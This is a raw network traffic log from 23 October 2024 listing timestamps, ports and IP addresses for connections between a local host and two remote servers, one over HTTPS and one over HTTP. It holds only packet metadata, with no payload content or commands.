Oct 23, 2024 17:51:16.489537954 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489568949 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.489599943 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489744902 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.489770889 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.498491049 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.498692989 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.498733044 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:16.498773098 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.498801947 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.498948097 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:16.502770901 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:18.430207014 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:18.430459976 CEST	443	49740	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:18.430464983 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:18.430505991 CEST	49740	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:18.442727089 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:18.442786932 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:18.442874908 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:18.443169117 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:18.443183899 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.082146883 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.082246065 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.083475113 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.083487034 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.084137917 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.085304976 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.085388899 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.085423946 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.590832949 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.590955019 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.591012955 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.596342087 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.596369028 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.596385956 CEST	49755	443	192.168.2.6	172.67.206.204
Oct 23, 2024 17:51:19.596393108 CEST	443	49755	172.67.206.204	192.168.2.6
Oct 23, 2024 17:51:19.599127054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:19.604537964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:19.604619026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:19.604743958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:19.610168934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508383036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508418083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508434057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508470058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508486032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508513927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508517027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.508517027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.508528948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508544922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508564949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508575916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.508588076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.508610010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.508629084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.514152050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.514178991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.514190912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.514204979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.514224052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.514257908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.662908077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.662920952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.662992001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.663009882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663024902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663038969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663050890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663060904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663074970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.663098097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.663846016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663877964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.663923025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.663984060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664037943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664037943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.664073944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664108992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664144993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.664661884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664716005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.664725065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.710300922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.780682087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.780760050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.780795097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.780833006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.780838966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.780869007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.780878067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.781028986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.781079054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.781133890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.781239033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.781292915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.781302929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.781327963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.781464100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.781950951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.782114983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.782171011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.823431015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.823487043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.823537111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.823596954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.898241997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898293018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898329020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898363113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898381948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.898397923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898406029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.898622990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898678064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898713112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898736954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.898746014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898766994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.898782969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.898825884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.940696955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.940733910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.940783978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.940793037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.941637039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.941667080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:20.941696882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:20.991544008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.015600920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015649080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015690088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015727997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015739918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.015762091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015789032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.015799046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.015866041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.016206026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.016242027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.016277075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.016313076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.016321898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.016428947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.017119884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.017143965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.017163038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.017179966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.017191887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.017221928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.058178902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.058212996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.058229923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.058247089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.058259964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.058294058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.132894039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.132914066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.132972956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.133057117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133074045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133090019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133105993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133115053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.133158922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.133595943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133611917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133627892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.133651972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.134084940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.134100914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.134118080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.134126902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.134133101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.134155035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.175503016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.175544977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.175559998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.175561905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.175580025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.175637960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.250386000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250420094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250435114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250452995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250472069 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.250507116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.250664949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250772953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250790119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250807047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250817060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.250822067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.250842094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.251584053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.251630068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.251673937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.251696110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.251739025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.293082952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293102980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293128967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293143988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293160915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293180943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.293198109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.293235064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.293246031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.367768049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.367821932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.367837906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.367875099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.367986917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.368002892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.368019104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.368033886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.368046999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.368050098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.368089914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.368915081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.369019985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.369045973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.369064093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.369092941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.369127035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.410476923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410491943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410509109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410536051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410550117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410557032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.410604000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.410948992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410964012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410979033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.410988092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.411015034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.485354900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485385895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485404968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485436916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.485500097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485543013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.485559940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485575914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485615015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485616922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.485630989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.485665083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.486429930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.486481905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.486499071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.486514091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.486526966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.486553907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.529086113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529105902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529114962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529122114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529130936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529205084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.529455900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.529551029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.602797031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.602958918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.602976084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.602994919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603010893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603013039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.603051901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.603060007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603075981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603190899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.603436947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603455067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603485107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603492975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.603499889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603518009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.603538990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.603549957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.645479918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645508051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645524025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645570040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645572901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.645586967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645605087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645612001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.645622015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645648956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.645661116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.645837069 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.720406055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720474005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720499039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720515013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720516920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.720531940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720582962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.720746994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720793962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.720902920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720920086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720935106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720942974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.720968008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.720990896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.762727976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.762738943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.762749910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.762779951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.762789011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.762804031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.762834072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.763184071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.763196945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.763209105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.763221025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.763231993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.763236046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.763262033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.763278008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.803260088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.803304911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.803363085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.837827921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.837847948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.837861061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.837893009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.837904930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.837939978 CEST	49763	80	192.168.2.6	185.215.113.16
